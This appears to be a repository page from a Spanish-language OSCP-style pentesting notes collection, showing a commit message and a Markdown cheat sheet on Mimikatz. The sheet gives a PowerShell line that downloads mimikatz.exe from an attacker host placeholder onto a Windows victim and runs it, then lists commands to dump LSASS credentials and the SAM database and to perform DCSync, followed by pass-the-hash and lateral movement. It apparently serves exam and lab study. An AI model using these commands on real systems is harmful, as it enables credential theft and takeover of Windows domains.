7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
26 lines
943 B
Markdown
26 lines
943 B
Markdown
# Mimikatz
|
|
|
|
> Un **.exe que corre DENTRO de la víctima Windows** (no en Kali). Lee la memoria de **LSASS** y vuelca credenciales. En `tu carpeta`.
|
|
|
|
## Subir y ejecutar
|
|
```powershell
|
|
iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe # Transferencia de ficheros
|
|
C:\Windows\Temp\m.exe
|
|
```
|
|
|
|
## Comandos clave (dentro de mimikatz)
|
|
```
|
|
privilege::debug # imprescindible primero
|
|
sekurlsa::logonpasswords # hashes NTLM, tickets, a veces pass en claro (wdigest)
|
|
lsadump::sam # SAM local
|
|
lsadump::dcsync /user:Administrator # DCSync (si tienes permisos de replicación)
|
|
```
|
|
|
|
## Requisito
|
|
Necesitas ser **admin/SYSTEM** en la máquina (Privesc Windows / Potato attacks).
|
|
|
|
## Después
|
|
- Hash NTLM → Pass-the-Hash / Impacket → Movimiento lateral.
|
|
- Pregúntale a BloodHound qué hacer con ese usuario.
|
|
|
|
Relacionado: Kerberos · secretsdump · OSCP MOC
|